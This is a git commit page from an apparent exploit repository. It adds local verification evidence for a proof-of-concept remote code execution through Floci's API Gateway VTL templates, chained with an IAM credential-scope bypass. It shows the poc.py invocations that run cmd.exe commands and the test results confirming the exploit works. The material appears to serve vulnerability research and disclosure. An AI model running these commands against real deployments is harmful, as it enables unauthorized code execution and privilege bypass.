git404/exploitarium
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Add Floci IAM scope bypass chain

Browse Source
This commit is contained in:
ashton
2026-06-23 23:31:21 -05:00
parent ad1ce161d6
commit a14ed1ec99
3 changed files with 150 additions and 29 deletions
Download Patch File Download Diff File Expand all files Collapse all files

30
floci-apigateway-vtl-rce-poc/evidence/2026-06-23-local-verification.txt
View File

@@ -1,18 +1,19 @@
Target:
Floci 1.5.27
Commit 238294e779d0cd24835ba04d7bb16b1e1fd15f76
Original RCE commit analyzed: 238294e779d0cd24835ba04d7bb16b1e1fd15f76
Latest upstream commit rechecked for IAM bypass chain: 7efb280dbcf6f5ea8faab28f1c7d5f8c3f59b4e0
JUnit E2E command:
Original JUnit RCE command:
.\mvnw.cmd '-Denforcer.skip=true' '-Dmaven.compiler.release=21' '-Dmaven.compiler.enablePreview=true' '-DargLine=--enable-preview' '-Dtest=ApiGatewayVtlRceExploitTest' test
JUnit E2E result:
Original JUnit RCE result:
Tests run: 1, Failures: 0, Errors: 0, Skipped: 0
target\apigw-vtl-rce-marker.txt => FLOCI_APIGW_VTL_RCE
Standalone PoC command:
Original standalone PoC command:
python poc.py --host 127.0.0.1 --port 4566 --argv cmd.exe /c "echo FLOCI_STANDALONE_POC>C:/Temp/floci_standalone_poc.txt"
Standalone PoC result:
Original standalone PoC result:
[+] REST API id: d1e873f2f8
[+] Resource id: cfd975b9
[+] Trigger response: {"ok":true,"exit":"0"}
@@ -21,3 +22,22 @@ Standalone PoC result:
POC_EXIT=0
MARKER_EXISTS=True
C:\Temp\floci_standalone_poc.txt => FLOCI_STANDALONE_POC
IAM bypass regression command:
.\mvnw.cmd -Dtest=ApiGatewayIamBypassRegressionTest test
IAM bypass regression result:
Tests run: 1, Failures: 0, Errors: 0, Skipped: 0
Correct apigateway credential scope was denied:
HTTP 403
IAM enforcement DENY: action=apigateway:POST
Wrong iam credential scope was allowed with the same access key:
Created REST API
Created API Gateway resource
Stored responseTemplates entry
Created deployment and stage
Executed /execute-api/{apiId}/prod/probe
Observed template-controlled HTTP 207 response
Standalone wrong-scope bypass command shape:
python poc.py --host 127.0.0.1 --port 4566 --bypass-iam --auth-access-key AKIAEXAMPLE --argv cmd.exe /c "echo FLOCI_BYPASS_CHAIN>C:/Temp/floci_bypass_chain.txt"